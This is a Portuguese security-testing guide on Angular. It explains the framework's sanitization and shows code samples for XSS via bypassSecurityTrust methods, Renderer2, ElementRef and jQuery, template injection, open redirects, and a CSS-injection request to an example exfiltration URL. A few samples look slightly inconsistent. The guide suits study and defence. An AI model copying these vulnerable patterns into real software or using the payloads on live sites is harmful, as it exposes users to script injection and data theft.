Angular

The Checklist

Checklist from here.

What is Angular

Angular é um poderoso e open-source framework front-end mantido pelo Google. Ele usa TypeScript para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como XSS e redirecionamentos abertos. Ele também pode ser usado do lado do servidor, tornando as considerações de segurança importantes de ambos os lados.

Framework architecture

Para entender melhor os conceitos básicos do Angular, vamos passar por seus conceitos essenciais.

Um projeto Angular comum geralmente se parece com:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

De acordo com a documentação, toda aplicação Angular possui pelo menos um componente, o componente raiz (AppComponent) que conecta uma hierarquia de componentes com o DOM. Cada componente define uma classe que contém dados e lógica da aplicação, e está associada a um template HTML que define uma visualização a ser exibida em um ambiente alvo. O decorador @Component() identifica a classe imediatamente abaixo dele como um componente e fornece o template e os metadados específicos do componente relacionados. O AppComponent é definido no arquivo app.component.ts.

Os NgModules do Angular declaram um contexto de compilação para um conjunto de componentes que é dedicado a um domínio de aplicação, um fluxo de trabalho ou um conjunto de capacidades intimamente relacionadas. Toda aplicação Angular possui um módulo raiz, convencionalmente chamado de AppModule, que fornece o mecanismo de bootstrap que inicia a aplicação. Uma aplicação normalmente contém muitos módulos funcionais. O AppModule é definido no arquivo app.module.ts.

O NgModule Router do Angular fornece um serviço que permite definir um caminho de navegação entre os diferentes estados da aplicação e hierarquias de visualização em sua aplicação. O RouterModule é definido no arquivo app-routing.module.ts.

Para dados ou lógica que não estão associados a uma visualização específica e que você deseja compartilhar entre componentes, você cria uma classe de serviço. A definição da classe de serviço é imediatamente precedida pelo decorador @Injectable(). O decorador fornece os metadados que permitem que outros provedores sejam injetados como dependências em sua classe. A injeção de dependência (DI) permite que você mantenha suas classes de componente enxutas e eficientes. Elas não buscam dados do servidor, não validam a entrada do usuário e não registram diretamente no console; elas delegam tais tarefas a serviços.

Configuração do sourcemap

O framework Angular traduz arquivos TypeScript em código JavaScript seguindo as opções de tsconfig.json e, em seguida, constrói um projeto com a configuração de angular.json. Ao olhar para o arquivo angular.json, observamos uma opção para habilitar ou desabilitar um sourcemap. De acordo com a documentação do Angular, a configuração padrão tem um arquivo sourcemap habilitado para scripts e não está oculto por padrão:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Geralmente, arquivos sourcemap são utilizados para fins de depuração, pois mapeiam arquivos gerados para seus arquivos originais. Portanto, não é recomendado usá-los em um ambiente de produção. Se os sourcemaps estiverem habilitados, isso melhora a legibilidade e ajuda na análise de arquivos, replicando o estado original do projeto Angular. No entanto, se estiverem desabilitados, um revisor ainda pode analisar um arquivo JavaScript compilado manualmente, procurando por padrões anti-segurança.

Além disso, um arquivo JavaScript compilado com um projeto Angular pode ser encontrado nas ferramentas de desenvolvedor do navegador → Fontes (ou Depurador e Fontes) → [id].main.js. Dependendo das opções habilitadas, este arquivo pode conter a seguinte linha no final //# sourceMappingURL=[id].main.js.map ou pode não conter, se a opção hidden estiver definida como true. No entanto, se o sourcemap estiver desabilitado para scripts, o teste se torna mais complexo e não podemos obter o arquivo. Além disso, o sourcemap pode ser habilitado durante a construção do projeto, como ng build --source-map.

Data binding

Binding refere-se ao processo de comunicação entre um componente e sua respectiva visualização. É utilizado para transferir dados para dentro e para fora do framework Angular. Os dados podem ser passados por vários meios, como através de eventos, interpolação, propriedades ou através do mecanismo de binding bidirecional. Além disso, os dados também podem ser compartilhados entre componentes relacionados (relação pai-filho) e entre dois componentes não relacionados usando o recurso Service.

Podemos classificar o binding pelo fluxo de dados:

  • Fonte de dados para alvo de visualização (inclui interpolação, propriedades, atributos, classes e estilos); pode ser aplicado usando [] ou {{}} no template;

  • Alvo de visualização para fonte de dados (inclui eventos); pode ser aplicado usando () no template;

  • Bidirecional; pode ser aplicado usando [()] no template.

O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva de origem:

TIPO
ALVO
EXEMPLOS

Propriedade

Propriedade de elemento, Propriedade de componente, Propriedade de diretiva

<img [alt]="hero.name" [src]="heroImageUrl">

Evento

Evento de elemento, Evento de componente, Evento de diretiva

<button type="button" (click)="onSave()">Salvar

Bidirecional

Evento e propriedade

<input [(ngModel)]="name">

Atributo

Atributo (a exceção)

<button type="button" [attr.aria-label]="help">ajuda

Classe

propriedade de classe

<div [class.special]="isSpecial">Especial

Estilo

propriedade de estilo

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Modelo de segurança do Angular

O design do Angular inclui codificação ou sanitização de todos os dados por padrão, tornando cada vez mais difícil descobrir e explorar vulnerabilidades XSS em projetos Angular. Existem dois cenários distintos para o manuseio de dados:

  1. Interpolação ou {{user_input}} - realiza codificação sensível ao contexto e interpreta a entrada do usuário como texto;

//app.component.ts
test = "<script>alert(1)</script><h1>teste</h1>";

//app.component.html
{{test}}

Resultado: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;teste&lt;/h1&gt; 2. Binding para propriedades, atributos, classes e estilos ou [attribute]="user_input" - realiza sanitização com base no contexto de segurança fornecido.

//app.component.ts
test = "<script>alert(1)</script><h1>teste</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Resultado: <div><h1>teste</h1></div>

Existem 6 tipos de SecurityContext:

  • None;

  • HTML é usado, ao interpretar o valor como HTML;

  • STYLE é usado, ao vincular CSS à propriedade style;

  • URL é usado para propriedades de URL, como <a href>;

  • SCRIPT é usado para código JavaScript;

  • RESOURCE_URL como uma URL que é carregada e executada como código, por exemplo, em <script src>.

Vulnerabilidades

Bypass Security Trust methods

O Angular introduz uma lista de métodos para contornar seu processo de sanitização padrão e indicar que um valor pode ser usado com segurança em um contexto específico, como nos seguintes cinco exemplos:

  1. bypassSecurityTrustUrl é usado para indicar que o valor fornecido é uma URL de estilo segura:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Clique em mim</a>

//resultado
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Clique em mim</a>
  1. bypassSecurityTrustResourceUrl é usado para indicar que o valor fornecido é uma URL de recurso segura:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//resultado
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml é usado para indicar que o valor fornecido é HTML seguro. Observe que inserir elementos script na árvore DOM dessa maneira não fará com que eles executem o código JavaScript contido, devido à forma como esses elementos são adicionados à árvore DOM.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>tag html</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//resultado
<h1>tag html</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript é usado para indicar que o valor fornecido é JavaScript seguro. No entanto, encontramos seu comportamento imprevisível, porque não conseguimos executar código JS em templates usando este método.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//resultado
-
  1. bypassSecurityTrustStyle é usado para indicar que o valor fornecido é CSS seguro. O seguinte exemplo ilustra a injeção de CSS:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//resultado
Request URL: GET example.com/exfil/a

O Angular fornece um método sanitize para sanitizar dados antes de exibi-los nas visualizações. Este método emprega o contexto de segurança fornecido e limpa a entrada de acordo. No entanto, é crucial usar o contexto de segurança correto para os dados e contexto específicos. Por exemplo, aplicar um sanitizador com SecurityContext.URL em conteúdo HTML não oferece proteção contra valores HTML perigosos. Em tais cenários, o uso indevido do contexto de segurança pode levar a vulnerabilidades XSS.

Injeção de HTML

Essa vulnerabilidade ocorre quando a entrada do usuário é vinculada a qualquer uma das três propriedades: innerHTML, outerHTML ou iframe srcdoc. Enquanto o binding para esses atributos interpreta o HTML como está, a entrada é sanitizada usando SecurityContext.HTML. Assim, a injeção de HTML é possível, mas o cross-site scripting (XSS) não é.

Exemplo de uso de innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

O resultado é <div><h1>teste</h1></div>.

Injeção de template

Renderização do Lado do Cliente (CSR)

Angular aproveita templates para construir páginas dinamicamente. A abordagem envolve encapsular expressões de template para o Angular avaliar dentro de chaves duplas ({{}}). Dessa forma, o framework oferece funcionalidade adicional. Por exemplo, um template como {{1+1}} seria exibido como 2.

Normalmente, o Angular escapa a entrada do usuário que pode ser confundida com expressões de template (por exemplo, caracteres como `< > ' " ``). Isso significa que etapas adicionais são necessárias para contornar essa restrição, como utilizar funções que geram objetos de string JavaScript para evitar o uso de caracteres na lista negra. No entanto, para alcançar isso, devemos considerar o contexto do Angular, suas propriedades e variáveis. Portanto, um ataque de injeção de template pode aparecer da seguinte forma:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Como mostrado acima: constructor refere-se ao escopo da propriedade Object constructor, permitindo-nos invocar o construtor String e executar um código arbitrário.

Renderização do Lado do Servidor (SSR)

Ao contrário do CSR, que ocorre no DOM do navegador, o Angular Universal é responsável pela SSR de arquivos de template. Esses arquivos são então entregues ao usuário. Apesar dessa distinção, o Angular Universal aplica os mesmos mecanismos de sanitização usados no CSR para melhorar a segurança da SSR. Uma vulnerabilidade de injeção de template na SSR pode ser identificada da mesma forma que no CSR, porque a linguagem de template utilizada é a mesma.

Claro, também há a possibilidade de introduzir novas vulnerabilidades de injeção de template ao empregar motores de template de terceiros, como Pug e Handlebars.

XSS

Interfaces DOM

Como mencionado anteriormente, podemos acessar diretamente o DOM usando a interface Document. Se a entrada do usuário não for validada previamente, isso pode levar a vulnerabilidades de cross-site scripting (XSS).

Usamos os métodos document.write() e document.createElement() nos exemplos abaixo:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Classes do Angular

Existem algumas classes que podem ser usadas para trabalhar com elementos DOM no Angular: ElementRef, Renderer2, Location e Document. Uma descrição detalhada das duas últimas classes é dada na seção Redirecionamentos abertos. A principal diferença entre as duas primeiras é que a API Renderer2 fornece uma camada de abstração entre o elemento DOM e o código do componente, enquanto ElementRef apenas mantém uma referência ao elemento. Portanto, de acordo com a documentação do Angular, a API ElementRef deve ser usada apenas como último recurso quando o acesso direto ao DOM é necessário.

  • ElementRef contém a propriedade nativeElement, que pode ser usada para manipular os elementos DOM. No entanto, o uso inadequado de nativeElement pode resultar em uma vulnerabilidade de injeção XSS, como mostrado abaixo:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Apesar do fato de que Renderer2 fornece uma API que pode ser usada com segurança mesmo quando o acesso direto a elementos nativos não é suportado, ainda possui algumas falhas de segurança. Com Renderer2, é possível definir atributos em um elemento HTML usando o método setAttribute(), que não possui mecanismos de prevenção de XSS.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Para definir a propriedade de um elemento DOM, você pode usar o método Renderer2.setProperty() e acionar um ataque XSS:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Durante nossa pesquisa, também examinamos o comportamento de outros métodos Renderer2, como setStyle(), createComment() e setValue(), em relação a injeções XSS e CSS. No entanto, não conseguimos encontrar vetores de ataque válidos para esses métodos devido às suas limitações funcionais.

jQuery

jQuery é uma biblioteca JavaScript rápida, pequena e rica em recursos que pode ser usada no projeto Angular para ajudar na manipulação dos objetos DOM HTML. No entanto, como é sabido, os métodos dessa biblioteca podem ser explorados para alcançar uma vulnerabilidade XSS. Para discutir como alguns métodos vulneráveis do jQuery podem ser explorados em projetos Angular, adicionamos esta subseção.

  • O método html() obtém o conteúdo HTML do primeiro elemento no conjunto de elementos correspondentes ou define o conteúdo HTML de cada elemento correspondente. No entanto, por design, qualquer construtor ou método jQuery que aceita uma string HTML pode potencialmente executar código. Isso pode ocorrer pela injeção de tags <script> ou pelo uso de atributos HTML que executam código, como mostrado no exemplo.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • O método jQuery.parseHTML() usa métodos nativos para converter a string em um conjunto de nós DOM, que podem ser inseridos no documento.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Como mencionado anteriormente, a maioria das APIs jQuery que aceitam strings HTML executará scripts que estão incluídos no HTML. O método jQuery.parseHTML() não executa scripts no HTML analisado, a menos que keepScripts seja explicitamente true. No entanto, ainda é possível na maioria dos ambientes executar scripts indiretamente; por exemplo, via o atributo <img onerror>.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Redirecionamentos abertos

Interfaces DOM

De acordo com a documentação do W3C, os objetos window.location e document.location são tratados como aliases em navegadores modernos. É por isso que eles têm implementações semelhantes de alguns métodos e propriedades, o que pode causar um redirecionamento aberto e XSS DOM com ataques de esquema javascript://, conforme mencionado abaixo.

  • window.location.href(e document.location.href)

A maneira canônica de obter o objeto de localização DOM atual é usando window.location. Ele também pode ser usado para redirecionar o navegador para uma nova página. Como resultado, ter controle sobre este objeto nos permite explorar uma vulnerabilidade de redirecionamento aberto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

O processo de exploração é idêntico para os seguintes cenários.

  • window.location.assign()(e document.location.assign())

Este método faz com que a janela carregue e exiba o documento na URL especificada. Se tivermos controle sobre este método, ele pode ser um ponto de entrada para um ataque de redirecionamento aberto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(e document.location.replace())

Este método substitui o recurso atual pelo que está na URL fornecida.

Isso difere do método assign() porque, após usar window.location.replace(), a página atual não será salva no histórico da sessão. No entanto, também é possível explorar uma vulnerabilidade de redirecionamento aberto quando temos controle sobre este método.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

O método window.open() recebe uma URL e carrega o recurso que identifica em uma nova aba ou janela existente. Ter controle sobre este método também pode ser uma oportunidade para acionar uma vulnerabilidade XSS ou de redirecionamento aberto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Classes do Angular

  • De acordo com a documentação do Angular, o Document do Angular é o mesmo que o documento DOM, o que significa que é possível usar vetores comuns para o documento DOM para explorar vulnerabilidades do lado do cliente no Angular. As propriedades e métodos Document.location podem ser pontos de entrada para ataques de redirecionamento aberto, como mostrado no exemplo:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Durante a fase de pesquisa, também revisamos a classe Location do Angular em busca de vulnerabilidades de redirecionamento aberto, mas nenhum vetor válido foi encontrado. Location é um serviço do Angular que os aplicativos podem usar para interagir com a URL atual do navegador. Este serviço possui vários métodos para manipular a URL dada - go(), replaceState() e prepareExternalUrl(). No entanto, não podemos usá-los para redirecionar para um domínio externo. Por exemplo:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Resultado: http://localhost:4200/http://google.com/about

  • A classe Router do Angular é usada principalmente para navegação dentro do mesmo domínio e não introduz vulnerabilidades adicionais ao aplicativo:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Resultado: http://localhost:4200/https:

Os seguintes métodos também navegam dentro do escopo do domínio:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Referências

Last updated